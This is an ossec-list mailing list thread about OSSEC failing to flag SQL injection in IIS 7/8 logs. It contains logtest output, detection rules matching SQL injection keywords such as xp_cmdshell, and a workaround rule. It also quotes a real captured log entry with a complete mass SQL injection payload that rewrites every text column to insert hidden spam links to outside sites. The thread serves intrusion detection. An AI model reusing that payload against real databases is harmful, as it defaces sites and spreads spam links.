>>>Take your log, and change the IIS response from 200 to 404 and you >>>get a positive result on a SQL injection attack. > >>>Add this to your local_rules.xml >>> <rule id="100169" level="10"> >>> <if_sid>31108</if_sid> >>> >>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >>> <match>union+|where+|null,null|xp_cmdshell</match> >>> <description>fix IIS matching SQL attacks</description> >>> </rule> >>> It'll work around the issue and start matching the sql injection >>> attacks... > > Yep that works, thanks! >>> Could you submit this to github as an issue with the repeatable log >>> data? That'd probably work better on getting a >> resolution in >>> the next release for this issue.... > Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8 > logs not triggering on Injection Attack Web Rule if response code > matches ^2 or ^3"
"If the rule above works, isnt' that the solution?" Creating a rule on my local rules to catch a SQL injection attack that returns a success code is a solution/workaround for me and who ever read the post. We created the issue on Github in hopes that the workaround can make it into the core web_rules so it becomes a solution for all users who assume OSSEC is watching over patterns of suspicious activity on their websites. In what order are rules evaluated? Within a Group are rules evaluated by rule number or position with the file ??? With the web rules there are multiple rules that trigger on web-log rule id="31100". In this case: - Both rules 31108 (Ignored URLs) and 31103 (SQL Injection Attack) look for web-log rule id="31100". - rule id="31108" (Ignored URLs (simple queries)) triggers first even though I would guess the lower rule number 31103 would be evaluated first. - in my web_rules.xml file Rule 31108 is listed before Rule 31103 so logically the positioning of the rules seems out of order (thus my questioning how rules were evaluated James Whittington -----Original Message----- From: [email protected] [mailto:[email protected]] On Behalf Of dan (ddp) Sent: Wednesday, December 24, 2014 10:17 To: [email protected] Subject: Re: [ossec-list] Re: anyone know the status of the issue where IIS logs are not able to trigger on web_rules.xml On Wed, Dec 24, 2014 at 10:12 AM, James Whittington <[email protected]> wrote: > > >>>Interesting. > >>>So, if the IIS response starts with a 2 or 3 (200 in your case), it >>>likely passes the test and is ignored. There are some rules that >>>are designed to trap the 200 OK attacks. > >>>But those aren't triggering either.. > > > >>>Take your log, and change the IIS response from 200 to 404 and you >>>get a positive result on a SQL injection attack. > >>>Add this to your local_rules.xml > > > >>> <rule id="100169" level="10"> >>> <if_sid>31108</if_sid> >>> >>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >>> <match>union+|where+|null,null|xp_cmdshell</match> >>> <description>fix IIS matching SQL attacks</description> >>> </rule> > > > >>> It'll work around the issue and start matching the sql injection >>> attacks... > > Yep that works, thanks! > > > >>> Could you submit this to github as an issue with the repeatable log >>> data? That'd probably work better on getting a >> resolution in >>> the next release for this issue.... > > > > Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8 > logs not triggering on Injection Attack Web Rule if response code > matches ^2 or ^3" > > > > Hopefully it's a simple fix and not too far reaching into the core > logic of how alerts are decoded.. > > If the rule above works, isnt' that the solution? > > > > > > On Tuesday, December 23, 2014 2:24:39 PM UTC-8, James Whittington wrote: > > > >>>What does ossec-logtest respond with on the sample below? > > > >>>2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - >>> 2.3.4.5 HTTP/1.1 >>> Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko >>>- - IIS8-5Server 404 0 2 1477 256 0 > > > > Docodes as a common web attack: > > **Phase 2: Completed decoding. > > decoder: 'windows-date-format' > > url: '/cmd.exe -' > > srcip: '2.3.4.5' > > id: '404' > > > > **Phase 3: Completed filtering (rules). > > Rule id: '31104' > > Level: '6' > > Description: 'Common web attack.' > > **Alert to be generated. > > > > > >>>Can you provide a sample of the log with the SQL injection that isn't >>>picked up by web rules? Also, could you provide the relevant >>>>>portion of a URL you use to test a SQL injection attack? I'll try >>>it on my systems and perhaps we can compare the logs to figure out >>where >>>the issue is. > > > > Here is an example of a recent injection attack on a IIS 7 website, we > are seeing reflections of the attacks as we send error stack traces to > a central system endpoint and another hardware based IDS is picking up > the activity as one webserver attacking another webserver. > > It's really long but here it is :<).. > > > > 2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET > /search/programdetails.aspx > id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);se > t%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20se > t%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(C > HECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20st > yle=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription > %20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLA > CE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronim > o.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20 > else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2B > char(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''onl > ine''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pil > l''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a' > '%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2B > char(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sys > indexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id > %20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME% > 20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar > '%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=21 > 47483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FET > CH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d > ;end;close%20@c-- > 80 - 173.201.216.6 HTTP/1.1 > Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24 > .0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+sele > ct+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+ca > se+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="dis > play:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+hre > f="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+whe > n+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru > @template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"' > '+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1 > +then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++ > char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char( > 60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i > +INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA > .COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+ > like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_L > ENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STA > TUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- > - > http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c= > cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+CO > LUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+' > 'div+style="display:none"''+char(62)+''abortion+pill+prescription+''+c > har(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM( > NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''ww > w.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'' > ,char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+'' > online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''aborti > on+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+aborti > on+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+ > sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INF > ORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1) > +and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHAR > ACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;wh > ile+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;cl > ose+@c-- www.somesite.org 200 0 0 36560 3942 78 > > > > > > Get decoded as: > > **Phase 2: Completed decoding. > > decoder: 'windows-date-format' > > url: '/search/programdetails.aspx > id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--' > > srcip: '173.201.216.6' > > id: '200' > > > > **Phase 3: Completed filtering (rules). > > Rule id: '31108' > > Level: '0' > > Description: 'Ignored URLs (simple queries).' > > > > The URL is decoding but should be triggering on this rule? > > > > <rule id="31103" level="6"> > > <if_sid>31100</if_sid> > > > <url>=select%20|select+|insert%20|%20from%20|%20where%20|union%20|</ur > l> > > <url>union+|where+|null,null|xp_cmdshell</url> > > <description>SQL injection attempt.</description> > > <group>attack,sql_injection,</group> > > </rule> > > > On Monday, December 22, 2014 11:40:30 AM UTC-8, James Whittington wrote: > >>> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly >>> for the built-in decoders in OSSEC. I even tested with Nexpose and >>> they both work. > >>Can you please post a log sample that you know decodes properly and >>for which the rules hit as they should? It would be nice to get to >>the bottom of >> >this. > > I haven't seen a log sample of IIS 7.5 and IIS 8.5 "flawlessly" > decoding and triggering on default web rules so I was hoping someone > would step up and show a decoded IIS log triggering on a web rule. > > From what I can tell on a logtest only the parent decoder displays so > I think it would be tricky to know for sure which decoder was used last. > > I checked log samples from IIS 7, IIS 8, ISS 8 in the azure cloud and > they all extract URL at least, but none seem to trigger on a simple > SQL injection rule I had been previously advised that the > documentation says all log fields must be checked (Yep did that a > couple of years ago but I double checked anyway). > I have also heard to just use something else to analyze IIS log events > (and this is likely the best path for me at this point). > > I like the flexibility OSSEC gives me but I am pretty darn sure IIS > logs will not trigger on web rules which is a shame. > > I guess I must be in the minority with using OSSEC to monitor IIS > logs, or something in my setup is wrong, or folks just assume OSSEC is > helping them watch IIS logs. > > I am just putting this topic back out there in case anything new had > happened with it. > > James Whittington > > > > -----Original Message----- > From: [email protected] [mailto:[email protected]] On > Behalf Of Michael Starks > Sent: Saturday, December 13, 2014 11:50 > To: [email protected] > Subject: Re: [ossec-list] Re: anyone know the status of the issue > where IIS logs are not able to trigger on web_rules.xml > > On 12/12/2014 06:02 PM, Brent Morris wrote: >> It should be noted that the decoders seem fine for me (and I suspect >> everyone else). I think that github issue is bogus. > > I think it is correct, but of course I could have made a mistake. > >> Follow what I posted above... basically, IIS Manager > Default Web >> Site >>> Logging > Log File Format: W3C - select fields. *Check all the >>> boxes >> that are not checked*!!!!! I think there were 4 that weren't checked. >> >> Edit your OSSEC config on that box... >> >> <localfile> >> <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location> >> <log_format>iis</log_format> >> </localfile> >> >> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly >> for the built-in decoders in OSSEC. I even tested with Nexpose and >> they both work. > > Can you please post a log sample that you know decodes properly and > for which the rules hit as they should? It would be nice to get to the > bottom of this. > > -- > > --- > You received this message because you are subscribed to the Google > Groups "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send > an email to [email protected]. > For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google > Groups "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send > an email to [email protected]. > For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google > Groups "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send > an email to [email protected]. > For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google > Groups "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send > an email to [email protected]. > For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/d/optout.
